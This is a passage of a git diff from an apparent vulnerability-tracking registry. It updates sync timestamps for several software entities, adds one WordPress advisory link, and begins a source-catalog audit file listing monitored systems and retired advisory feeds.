"https://nvd.nist.gov/vuln/detail/CVE-2022-35204",
diff --git a/08-threat-intel/registry/entities/vite.json b/08-threat-intel/registry/entities/vite.json
index d2408f40..831d8716 100644
--- a/08-threat-intel/registry/entities/vite.json
+++ b/08-threat-intel/registry/entities/vite.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 150,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/vue--project--vue.json b/08-threat-intel/registry/entities/vue--project--vue.json
index a04b2710..be51483f 100644
--- a/08-threat-intel/registry/entities/vue--project--vue.json
+++ b/08-threat-intel/registry/entities/vue--project--vue.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
"https://nvd.nist.gov/vuln/detail/CVE-2024-9506"
diff --git a/08-threat-intel/registry/entities/vue.json b/08-threat-intel/registry/entities/vue.json
index 190a94d5..0f0eec6c 100644
--- a/08-threat-intel/registry/entities/vue.json
+++ b/08-threat-intel/registry/entities/vue.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 2,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/webpack.json b/08-threat-intel/registry/entities/webpack.json
index 30ae71ff..b53f4c1e 100644
--- a/08-threat-intel/registry/entities/webpack.json
+++ b/08-threat-intel/registry/entities/webpack.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "source-gap",
"security_version_count": 0,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/werkzeug--project--werkzeug.json b/08-threat-intel/registry/entities/werkzeug--project--werkzeug.json
index 05d60582..86533cb5 100644
--- a/08-threat-intel/registry/entities/werkzeug--project--werkzeug.json
+++ b/08-threat-intel/registry/entities/werkzeug--project--werkzeug.json
@@ -22,7 +22,7 @@
],
"version_sync_status": "green",
"security_version_count": 22,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"npm latest",
"https://github.com/pallets/werkzeug/security/advisories/GHSA-29vq-49wr-vm6x"
diff --git a/08-threat-intel/registry/entities/werkzeug.json b/08-threat-intel/registry/entities/werkzeug.json
index b5666140..1ed1484a 100644
--- a/08-threat-intel/registry/entities/werkzeug.json
+++ b/08-threat-intel/registry/entities/werkzeug.json
@@ -19,7 +19,7 @@
"version_source_refs": [],
"version_sync_status": "green",
"security_version_count": 22,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [],
"catalog_source": "",
"catalog_reason": "",
diff --git a/08-threat-intel/registry/entities/woocommerce--repo--woocommerce-woocommerce.json b/08-threat-intel/registry/entities/woocommerce--repo--woocommerce-woocommerce.json
index d082f741..ee1c9621 100644
--- a/08-threat-intel/registry/entities/woocommerce--repo--woocommerce-woocommerce.json
+++ b/08-threat-intel/registry/entities/woocommerce--repo--woocommerce-woocommerce.json
@@ -30,7 +30,7 @@
],
"version_sync_status": "green",
"security_version_count": 5,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"GitHub Releases API",
"Patchstack Database",
diff --git a/08-threat-intel/registry/entities/woocommerce.json b/08-threat-intel/registry/entities/woocommerce.json
index 421c9fdc..be2e7967 100644
--- a/08-threat-intel/registry/entities/woocommerce.json
+++ b/08-threat-intel/registry/entities/woocommerce.json
@@ -29,7 +29,7 @@
],
"version_sync_status": "green",
"security_version_count": 5,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"Woo Developer Advisories",
"Patchstack Database"
diff --git a/08-threat-intel/registry/entities/wordpress.json b/08-threat-intel/registry/entities/wordpress.json
index 00de7ef4..dec3a2e0 100644
--- a/08-threat-intel/registry/entities/wordpress.json
+++ b/08-threat-intel/registry/entities/wordpress.json
@@ -58,11 +58,12 @@
"https://patchstack.com/database/wordpress/plugin/jetformbuilder/vulnerability/wordpress-jetformbuilder-plugin-3-5-6-2-unauthenticated-arbitrary-file-read-via-media-field-vulnerability",
"https://patchstack.com/database/wordpress/plugin/sina-extension-for-elementor/vulnerability/wordpress-sina-extension-for-elementor-plugin-3-7-0-authenticated-contributor-stored-cross-site-scripting-via-fancy-text-widget-and-countdown-widget-vulnerability",
"https://patchstack.com/database/wordpress/plugin/jet-engine/vulnerability/wordpress-jetengine-plugin-3-8-6-1-unauthenticated-sql-injection-via-listing-grid-filtered-query-parameter-vulnerability",
- "https://wordpress.org/news/2025/06/dropping-security-updates-for-wordpress-versions-4-1-through-4-6/"
+ "https://wordpress.org/news/2025/06/dropping-security-updates-for-wordpress-versions-4-1-through-4-6/",
+ "https://patchstack.com/database/wordpress/plugin/smart-slider-3/vulnerability/wordpress-smart-slider-3-plugin-3-5-1-33-authenticated-subscriber-arbitrary-file-read-via-actionexportall-vulnerability"
],
"version_sync_status": "green",
"security_version_count": 55,
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"latest_version_evidence": [
"WPScan Vulnerability Database",
"Patchstack Database",
diff --git a/08-threat-intel/registry/monitoring/2026-03-27T09-30-44+00-00.json b/08-threat-intel/registry/monitoring/2026-03-27T09-30-44+00-00.json
new file mode 100644
index 00000000..aeb24b43
--- /dev/null
+++ b/08-threat-intel/registry/monitoring/2026-03-27T09-30-44+00-00.json
@@ -0,0 +1,10260 @@
+{
+ "generated_at": "2026-03-27T09:30:44+00:00",
+ "source_catalog_audit": {
+ "generated_at": "2026-03-27T09:23:48+00:00",
+ "system_count": 62,
+ "source_count": 179,
+ "active_source_count": 102,
+ "retired_source_count": 77,
+ "systems_with_active_official": 61,
+ "systems_with_machine_readable_source": 61,
+ "systems": [
+ {
+ "system_id": "adminer",
+ "display_name": "Adminer",
+ "category": "platforms",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 1,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "adobe-commerce",
+ "display_name": "Adobe Commerce",
+ "category": "ecommerce",
+ "tier": "history-full",
+ "source_total": 5,
+ "active_source_total": 1,
+ "retired_source_total": 4,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 0,
+ "has_active_official": true,
+ "has_machine_readable_source": false
+ },
+ {
+ "system_id": "angular",
+ "display_name": "Angular",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 1,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "apache-httpd",
+ "display_name": "Apache HTTP Server",
+ "category": "servers",
+ "tier": "history-full",
+ "source_total": 3,
+ "active_source_total": 2,
+ "retired_source_total": 1,
+ "official_active": 2,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "apache-tomcat",
+ "display_name": "Apache Tomcat",
+ "category": "servers",
+ "tier": "history-full",
+ "source_total": 3,
+ "active_source_total": 2,
+ "retired_source_total": 1,
+ "official_active": 2,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "aspnet-core",
+ "display_name": "ASP.NET Core",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 1,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "astro",
+ "display_name": "Astro",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 1,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "caddy",
+ "display_name": "Caddy",
+ "category": "servers",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 1,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "directus",
+ "display_name": "Directus",
+ "category": "cms",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 2,
+ "retired_source_total": 0,
+ "official_active": 2,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "discourse",
+ "display_name": "Discourse",
+ "category": "cms",
+ "tier": "rolling-24m",
+ "source_total": 5,
+ "active_source_total": 3,
+ "retired_source_total": 2,
+ "official_active": 2,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 3,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "django",
+ "display_name": "Django",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 4,
+ "active_source_total": 3,
+ "retired_source_total": 1,
+ "official_active": 3,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "drupal",
+ "display_name": "Drupal",
+ "category": "cms",
+ "tier": "history-full",
+ "source_total": 3,
+ "active_source_total": 2,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 2,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "echo",
+ "display_name": "Echo",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 1,
+ "active_source_total": 1,
+ "retired_source_total": 0,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "esbuild",
+ "display_name": "esbuild",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 3,
+ "active_source_total": 1,
+ "retired_source_total": 2,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "express",
+ "display_name": "Express",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 3,
+ "active_source_total": 1,
+ "retired_source_total": 2,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "fastify",
+ "display_name": "Fastify",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 1,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "flask",
+ "display_name": "Flask",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 1,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "ghost",
+ "display_name": "Ghost",
+ "category": "cms",
+ "tier": "history-full",
+ "source_total": 3,
+ "active_source_total": 2,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "gin",
+ "display_name": "Gin",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 1,
+ "active_source_total": 1,
+ "retired_source_total": 0,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "gitea",
+ "display_name": "Gitea",
+ "category": "platforms",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 1,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "gitlab-ce",
+ "display_name": "GitLab CE",
+ "category": "platforms",
+ "tier": "rolling-24m",
+ "source_total": 4,
+ "active_source_total": 2,
+ "retired_source_total": 2,
+ "official_active": 1,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "grafana",
+ "display_name": "Grafana",
+ "category": "platforms",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 2,
+ "retired_source_total": 0,
+ "official_active": 2,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "hapi",
+ "display_name": "Hapi",
+ "category": "frameworks",
+ "tier": "history-full",
+ "source_total": 2,
+ "active_source_total": 1,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "haproxy",
+ "display_name": "HAProxy",
+ "category": "servers",
+ "tier": "rolling-24m",
+ "source_total": 3,
+ "active_source_total": 1,
+ "retired_source_total": 2,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "jenkins",
+ "display_name": "Jenkins",
+ "category": "platforms",
+ "tier": "rolling-24m",
+ "source_total": 3,
+ "active_source_total": 1,
+ "retired_source_total": 2,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "joomla",
+ "display_name": "Joomla",
+ "category": "cms",
+ "tier": "history-full",
+ "source_total": 3,
+ "active_source_total": 2,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "kibana",
+ "display_name": "Kibana",
+ "category": "platforms",
+ "tier": "rolling-24m",
+ "source_total": 3,
+ "active_source_total": 2,
+ "retired_source_total": 1,
+ "official_active": 2,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "koa",
+ "display_name": "Koa",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 1,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "laravel",
+ "display_name": "Laravel",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 1,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "magento-open-source",
+ "display_name": "Magento Open Source",
+ "category": "ecommerce",
+ "tier": "history-full",
+ "source_total": 4,
+ "active_source_total": 3,
+ "retired_source_total": 1,
+ "official_active": 2,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "mattermost",
+ "display_name": "Mattermost",
+ "category": "platforms",
+ "tier": "rolling-24m",
+ "source_total": 4,
+ "active_source_total": 2,
+ "retired_source_total": 2,
+ "official_active": 1,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 2,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "mediawiki",
+ "display_name": "MediaWiki",
+ "category": "cms",
+ "tier": "rolling-24m",
+ "source_total": 4,
+ "active_source_total": 2,
+ "retired_source_total": 2,
+ "official_active": 1,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 2,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "medusa",
+ "display_name": "Medusa",
+ "category": "ecommerce",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 1,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "moodle",
+ "display_name": "Moodle",
+ "category": "cms",
+ "tier": "rolling-24m",
+ "source_total": 3,
+ "active_source_total": 1,
+ "retired_source_total": 2,
+ "official_active": 0,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": false,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "nestjs",
+ "display_name": "NestJS",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 3,
+ "active_source_total": 1,
+ "retired_source_total": 2,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "nextjs",
+ "display_name": "Next.js",
+ "category": "frameworks",
+ "tier": "history-full",
+ "source_total": 3,
+ "active_source_total": 1,
+ "retired_source_total": 2,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "nginx",
+ "display_name": "Nginx",
+ "category": "servers",
+ "tier": "history-full",
+ "source_total": 3,
+ "active_source_total": 2,
+ "retired_source_total": 1,
+ "official_active": 2,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "nodejs",
+ "display_name": "Node.js",
+ "category": "frameworks",
+ "tier": "history-full",
+ "source_total": 2,
+ "active_source_total": 2,
+ "retired_source_total": 0,
+ "official_active": 2,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "nuxt",
+ "display_name": "Nuxt",
+ "category": "frameworks",
+ "tier": "history-full",
+ "source_total": 3,
+ "active_source_total": 1,
+ "retired_source_total": 2,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "opencart",
+ "display_name": "OpenCart",
+ "category": "ecommerce",
+ "tier": "history-full",
+ "source_total": 3,
+ "active_source_total": 2,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "openmage",
+ "display_name": "OpenMage / Mage-OS",
+ "category": "ecommerce",
+ "tier": "rolling-24m",
+ "source_total": 3,
+ "active_source_total": 2,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "phpmyadmin",
+ "display_name": "phpMyAdmin",
+ "category": "platforms",
+ "tier": "rolling-24m",
+ "source_total": 3,
+ "active_source_total": 2,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "prestashop",
+ "display_name": "PrestaShop",
+ "category": "ecommerce",
+ "tier": "history-full",
+ "source_total": 5,
+ "active_source_total": 4,
+ "retired_source_total": 1,
+ "official_active": 2,
+ "ecosystem_active": 2,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "rails",
+ "display_name": "Ruby on Rails",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 3,
+ "active_source_total": 1,
+ "retired_source_total": 2,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "react",
+ "display_name": "React",
+ "category": "frameworks",
+ "tier": "history-full",
+ "source_total": 3,
+ "active_source_total": 1,
+ "retired_source_total": 2,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "redmine",
+ "display_name": "Redmine",
+ "category": "platforms",
+ "tier": "rolling-24m",
+ "source_total": 3,
+ "active_source_total": 2,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "saleor",
+ "display_name": "Saleor",
+ "category": "ecommerce",
+ "tier": "rolling-24m",
+ "source_total": 3,
+ "active_source_total": 2,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "shopware",
+ "display_name": "Shopware",
+ "category": "ecommerce",
+ "tier": "history-full",
+ "source_total": 3,
+ "active_source_total": 2,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "spring-boot",
+ "display_name": "Spring Boot",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 3,
+ "active_source_total": 2,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "spring-framework",
+ "display_name": "Spring Framework",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 3,
+ "active_source_total": 2,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "spring-security",
+ "display_name": "Spring Security",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 3,
+ "active_source_total": 2,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 1,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "strapi",
+ "display_name": "Strapi",
+ "category": "cms",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 2,
+ "retired_source_total": 0,
+ "official_active": 2,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "sveltekit",
+ "display_name": "SvelteKit",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 1,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "symfony",
+ "display_name": "Symfony",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 1,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "traefik",
+ "display_name": "Traefik",
+ "category": "servers",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 1,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "undici",
+ "display_name": "Undici",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 3,
+ "active_source_total": 1,
+ "retired_source_total": 2,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "vite",
+ "display_name": "Vite",
+ "category": "frameworks",
+ "tier": "history-full",
+ "source_total": 3,
+ "active_source_total": 1,
+ "retired_source_total": 2,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "vue",
+ "display_name": "Vue",
+ "category": "frameworks",
+ "tier": "history-full",
+ "source_total": 3,
+ "active_source_total": 1,
+ "retired_source_total": 2,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "webpack",
+ "display_name": "webpack",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 3,
+ "active_source_total": 1,
+ "retired_source_total": 2,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "werkzeug",
+ "display_name": "Werkzeug",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "source_total": 2,
+ "active_source_total": 1,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 0,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "woocommerce",
+ "display_name": "WooCommerce",
+ "category": "ecommerce",
+ "tier": "history-full",
+ "source_total": 6,
+ "active_source_total": 5,
+ "retired_source_total": 1,
+ "official_active": 2,
+ "ecosystem_active": 3,
+ "research_active": 0,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ },
+ {
+ "system_id": "wordpress",
+ "display_name": "WordPress",
+ "category": "cms",
+ "tier": "history-full",
+ "source_total": 6,
+ "active_source_total": 5,
+ "retired_source_total": 1,
+ "official_active": 1,
+ "ecosystem_active": 3,
+ "research_active": 1,
+ "machine_readable_active": 1,
+ "has_active_official": true,
+ "has_machine_readable_source": true
+ }
+ ],
+ "retired_sources": [
+ {
+ "system_id": "adminer",
+ "display_name": "Adminer",
+ "source_name": "NVD Adminer",
+ "bucket": "official_sources",
+ "kind": "nvd-search",
+ "retired_reason": "OSV Adminer provides a machine-readable Packagist-aligned source, removing the need for NVD public search.",
+ "replacement_sources": [
+ "OSV Adminer"
+ ],
+ "url": ""
+ },
+ {
+ "system_id": "adobe-commerce",
+ "display_name": "Adobe Commerce",
+ "source_name": "Adobe Security Bulletins",
+ "bucket": "official_sources",
+ "kind": "html-links",
+ "retired_reason": "Original bulletin index probe was unstable under the old transport path; vendor index replacement uses explicit request policy and parser hints.",
+ "replacement_sources": [
+ "Adobe Magento Security Index",
+ "NVD Adobe Commerce",
+ "GHSA Adobe Commerce"
+ ],
+ "url": "https://helpx.adobe.com/security/products/magento.html"
+ },
+ {
+ "system_id": "adobe-commerce",
+ "display_name": "Adobe Commerce",
+ "source_name": "GHSA Adobe Commerce",
+ "bucket": "ecosystem_sources",
+ "kind": "ghsa-global",
+ "retired_reason": "Unauthenticated GHSA API requests are rate-limited in daily monitoring; Adobe index and NVD remain active replacements.",
+ "replacement_sources": [
+ "Adobe Magento Security Index",
